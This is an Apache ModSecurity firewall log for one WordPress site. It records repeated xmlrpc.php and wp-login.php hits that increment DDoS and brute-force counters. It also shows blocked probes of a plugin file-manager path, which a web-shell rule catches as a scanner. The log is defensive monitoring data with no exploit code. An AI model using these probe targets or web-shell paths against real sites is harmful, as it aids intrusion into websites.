[Sat Apr 11 04:48:15.656295 2026] [:error] [pid 33288:tid 33293] [client 66.70.178.228:51232] [client 66.70.178.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.70.178.228, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adliD2JmwJFFPEgRHfH2twAAAMM"]
[Sat Apr 11 04:48:23.834275 2026] [:error] [pid 33173:tid 33258] [client 84.201.130.79:36496] [client 84.201.130.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.201.130.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adliF68109xRDP2izWilHwAAAI0"]
[Sat Apr 11 04:53:11.917685 2026] [:error] [pid 33173:tid 33245] [client 43.130.91.95:41204] [client 43.130.91.95] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adljN68109xRDP2izWipAQAAAIA"]
[Sat Apr 11 05:02:41.127398 2026] [:error] [pid 33288:tid 33313] [client 141.94.27.49:48064] [client 141.94.27.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.27.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adllcWJmwJFFPEgRHfEKJAAAANc"]
[Sat Apr 11 05:04:24.312848 2026] [:error] [pid 33172:tid 33219] [client 5.9.109.189:54282] [client 5.9.109.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.9.109.189, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adll2Dn2G0IJw5EZY9kc-gAAAEE"]
[Sat Apr 11 05:16:00.155737 2026] [:error] [pid 33173:tid 33268] [client 205.210.31.153:62888] [client 205.210.31.153] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 205.210.31.153, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "adlokK8109xRDP2izWi8RwAAAJc"]
[Sat Apr 11 05:28:28.463248 2026] [:error] [pid 33171:tid 33197] [client 46.105.230.99:63192] [client 46.105.230.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.105.230.99, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adlrfLoqTMlo30hcVw9QMgAAAAs"]
[Sat Apr 11 05:31:38.271510 2026] [:error] [pid 33171:tid 33189] [client 66.179.191.163:41186] [client 66.179.191.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.179.191.163, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adlsOroqTMlo30hcVw9RngAAAAM"]
[Sat Apr 11 05:32:22.167523 2026] [:error] [pid 33288:tid 33297] [client 165.227.121.154:45490] [client 165.227.121.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.227.121.154, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adlsZmJmwJFFPEgRHfEn7AAAAMc"]
[Sat Apr 11 05:44:25.979549 2026] [:error] [pid 33288:tid 33290] [client 103.27.206.168:42826] [client 103.27.206.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.27.206.168, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adlvOWJmwJFFPEgRHfEwGAAAAMA"]
[Sat Apr 11 05:52:08.056743 2026] [:error] [pid 33288:tid 33291] [client 164.132.207.73:34028] [client 164.132.207.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.132.207.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adlxCGJmwJFFPEgRHfE3dAAAAME"]
[Sat Apr 11 06:06:15.376322 2026] [:error] [pid 33173:tid 33260] [client 20.84.7.202:10944] [client 20.84.7.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.84.7.202, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adl0V68109xRDP2izWjbgQAAAI8"]
[Sat Apr 11 06:19:03.659087 2026] [:error] [pid 33171:tid 33187] [client 196.27.114.137:39970] [client 196.27.114.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.27.114.137, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adl3V7oqTMlo30hcVw9m8QAAAAE"]
[Sat Apr 11 06:20:13.386841 2026] [:error] [pid 33172:tid 33237] [client 64.23.172.230:32418] [client 64.23.172.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.23.172.230, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adl3nTn2G0IJw5EZY9lG9wAAAFM"]
[Sat Apr 11 06:22:28.110148 2026] [:error] [pid 15244:tid 15258] [client 46.105.76.214:38500] [client 46.105.76.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.105.76.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adl4JIkdEsz5NeAq8w00IwAAAQw"]
[Sat Apr 11 06:24:06.647712 2026] [:error] [pid 33172:tid 33224] [client 121.170.188.114:48308] [client 121.170.188.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.170.188.114, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adl4hjn2G0IJw5EZY9lJhgAAAEY"]
[Sat Apr 11 06:40:16.163182 2026] [:error] [pid 15244:tid 15261] [client 51.75.54.138:37568] [client 51.75.54.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.75.54.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adl8UIkdEsz5NeAq8w1F4AAAAQ8"]
[Sat Apr 11 06:44:40.520509 2026] [:error] [pid 33288:tid 33308] [client 185.199.223.39:40850] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adl9WGJmwJFFPEgRHfFkTwAAANI"]
[Sat Apr 11 07:12:03.605263 2026] [:error] [pid 15244:tid 15252] [client 185.41.185.211:42706] [client 185.41.185.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.41.185.211, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admDw4kdEsz5NeAq8w1rWQAAAQY"]
[Sat Apr 11 07:13:23.362420 2026] [:error] [pid 33288:tid 33302] [client 85.128.143.122:41300] [client 85.128.143.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.122, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admEE2JmwJFFPEgRHfF8DQAAAMw"]
[Sat Apr 11 07:14:46.239452 2026] [:error] [pid 33288:tid 33310] [client 4.219.9.127:51545] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "admEZmJmwJFFPEgRHfF9RQAAANQ"]
[Sat Apr 11 07:14:46.755064 2026] [:error] [pid 33288:tid 33312] [client 4.219.9.127:49915] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "admEZmJmwJFFPEgRHfF9RgAAANY"]
[Sat Apr 11 07:14:47.296032 2026] [:error] [pid 33171:tid 33200] [client 4.219.9.127:51582] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "admEZ7oqTMlo30hcVw-AzQAAAA4"]
[Sat Apr 11 07:14:47.844450 2026] [:error] [pid 33172:tid 33236] [client 4.219.9.127:49858] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "admEZzn2G0IJw5EZY9lj4gAAAFI"]
[Sat Apr 11 07:16:26.527303 2026] [:error] [pid 15244:tid 15263] [client 128.199.207.13:60051] [client 128.199.207.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.199.207.13, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admEyokdEsz5NeAq8w1vlQAAARE"]
[Sat Apr 11 07:18:15.635245 2026] [:error] [pid 33173:tid 33252] [client 195.142.136.26:48278] [client 195.142.136.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.142.136.26, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admFN68109xRDP2izWgLbgAAAIc"]
[Sat Apr 11 07:18:36.457064 2026] [:error] [pid 33288:tid 33311] [client 46.62.219.188:45402] [client 46.62.219.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.62.219.188, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admFTGJmwJFFPEgRHfGBMwAAANU"]
[Sat Apr 11 07:24:38.344822 2026] [:error] [pid 33288:tid 33300] [client 157.245.42.243:44262] [client 157.245.42.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.42.243, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admGtmJmwJFFPEgRHfGFyQAAAMo"]
[Sat Apr 11 07:29:23.099692 2026] [:error] [pid 33288:tid 33312] [client 34.165.13.211:56806] [client 34.165.13.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.165.13.211, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admH02JmwJFFPEgRHfGKxwAAANY"]
[Sat Apr 11 07:30:13.248440 2026] [:error] [pid 15244:tid 15268] [client 37.27.142.217:40060] [client 37.27.142.217] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.27.142.217, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admIBYkdEsz5NeAq8w1_lgAAARY"]
[Sat Apr 11 07:32:22.744493 2026] [:error] [pid 33173:tid 33249] [client 91.204.161.79:47608] [client 91.204.161.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.204.161.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admIhq8109xRDP2izWgTwgAAAIQ"]
[Sat Apr 11 07:32:49.120912 2026] [:error] [pid 33172:tid 33230] [client 213.202.100.42:60800] [client 213.202.100.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.202.100.42, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admIoTn2G0IJw5EZY9lsKgAAAEw"]
[Sat Apr 11 07:41:41.788833 2026] [:error] [pid 33171:tid 33202] [client 47.244.90.157:55332] [client 47.244.90.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.244.90.157, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admKtboqTMlo30hcVw-OZgAAABA"]
[Sat Apr 11 07:49:03.150279 2026] [:error] [pid 33172:tid 33218] [client 82.223.33.117:49178] [client 82.223.33.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.33.117, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admMbzn2G0IJw5EZY9l0LQAAAEA"]
[Sat Apr 11 07:52:54.369307 2026] [:error] [pid 33288:tid 33305] [client 93.91.154.4:45424] [client 93.91.154.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.91.154.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admNVmJmwJFFPEgRHfGecwAAAM8"]
[Sat Apr 11 07:53:30.458418 2026] [:error] [pid 33173:tid 33267] [client 212.227.105.62:42456] [client 212.227.105.62] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.227.105.62, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admNeq8109xRDP2izWggcwAAAJY"]
[Sat Apr 11 07:55:14.224077 2026] [:error] [pid 15244:tid 15258] [client 141.94.206.106:39304] [client 141.94.206.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.206.106, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admN4okdEsz5NeAq8w2ahQAAAQw"]
[Sat Apr 11 07:57:45.473080 2026] [:error] [pid 33288:tid 33294] [client 5.9.109.189:56822] [client 5.9.109.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.9.109.189, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admOeWJmwJFFPEgRHfGg-AAAAMQ"]
[Sat Apr 11 07:57:55.857055 2026] [:error] [pid 33172:tid 33228] [client 139.59.37.240:38630] [client 139.59.37.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.59.37.240, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admOgzn2G0IJw5EZY9l3-AAAAEo"]
[Sat Apr 11 08:01:16.787731 2026] [:error] [pid 15244:tid 15255] [client 148.113.209.194:49192] [client 148.113.209.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.209.194, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admPTIkdEsz5NeAq8w2grAAAAQk"]
[Sat Apr 11 08:02:45.607199 2026] [:error] [pid 15244:tid 15256] [client 137.184.46.218:59624] [client 137.184.46.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.46.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admPpYkdEsz5NeAq8w2iUAAAAQo"]
[Sat Apr 11 08:11:50.625114 2026] [:error] [pid 33288:tid 33311] [client 93.166.103.102:58644] [client 93.166.103.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.166.103.102, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admRxmJmwJFFPEgRHfGsIgAAANU"]
[Sat Apr 11 08:11:57.616761 2026] [:error] [pid 33172:tid 33220] [client 96.46.48.39:45126] [client 96.46.48.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 96.46.48.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admRzTn2G0IJw5EZY9l-OwAAAEI"]
[Sat Apr 11 08:17:30.886022 2026] [:error] [pid 33173:tid 33259] [client 143.198.119.177:49708] [client 143.198.119.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.119.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admTGq8109xRDP2izWgvmwAAAI4"]
[Sat Apr 11 08:27:00.182104 2026] [:error] [pid 33171:tid 33198] [client 219.117.206.145:38716] [client 219.117.206.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 219.117.206.145, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admVVLoqTMlo30hcVw-i3wAAAAw"]
[Sat Apr 11 08:27:49.380886 2026] [:error] [pid 15244:tid 15246] [client 54.38.195.241:43584] [client 54.38.195.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.195.241, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admVhYkdEsz5NeAq8w28EgAAAQA"]
[Sat Apr 11 08:31:05.343036 2026] [:error] [pid 33173:tid 33248] [client 82.223.101.71:39300] [client 82.223.101.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.101.71, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admWSa8109xRDP2izWg19gAAAIM"]
[Sat Apr 11 08:33:35.054419 2026] [:error] [pid 33172:tid 33237] [client 34.175.117.206:47104] [client 34.175.117.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.175.117.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admW3zn2G0IJw5EZY9mKCAAAAFM"]
[Sat Apr 11 08:38:39.881543 2026] [:error] [pid 33173:tid 33245] [client 51.38.230.115:55924] [client 51.38.230.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.38.230.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admYD68109xRDP2izWg7RwAAAIA"]
[Sat Apr 11 08:48:43.282297 2026] [:error] [pid 9863:tid 9932] [client 45.227.163.112:36292] [client 45.227.163.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.227.163.112, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admaa2HClruQA-0uiPzspgAAAYk"]
[Sat Apr 11 08:50:14.546966 2026] [:error] [pid 9954:tid 9978] [client 194.233.81.119:36512] [client 194.233.81.119] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.233.81.119, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admaxiCHpShicB0JKTLU4QAAABU"]
[Sat Apr 11 09:01:39.001707 2026] [:error] [pid 13721:tid 13731] [client 35.226.125.165:33360] [client 35.226.125.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.226.125.165, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admdcwtCFIRABSMvNE7AuQAAAAc"]
[Sat Apr 11 09:08:35.940268 2026] [:error] [pid 17919:tid 17924] [client 173.249.55.89:42698] [client 173.249.55.89] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.249.55.89, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admfEw4Th_c8TGOTho7ksAAAAQA"]
[Sat Apr 11 09:20:12.054411 2026] [:error] [pid 22756:tid 22780] [client 13.239.53.175:49874] [client 13.239.53.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.239.53.175, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admhzGfoSJ40LEm6kfqudQAAABY"]
[Sat Apr 11 09:25:19.890092 2026] [:error] [pid 22663:tid 22676] [client 194.164.168.219:59216] [client 194.164.168.219] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.164.168.219, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admi_41p7ez17BT2hZYIWgAAAQg"]
[Sat Apr 11 09:27:47.943929 2026] [:error] [pid 22664:tid 22711] [client 54.38.122.177:46828] [client 54.38.122.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.122.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "admjkwRS_OPFpcXOZmWIKAAAAU4"]
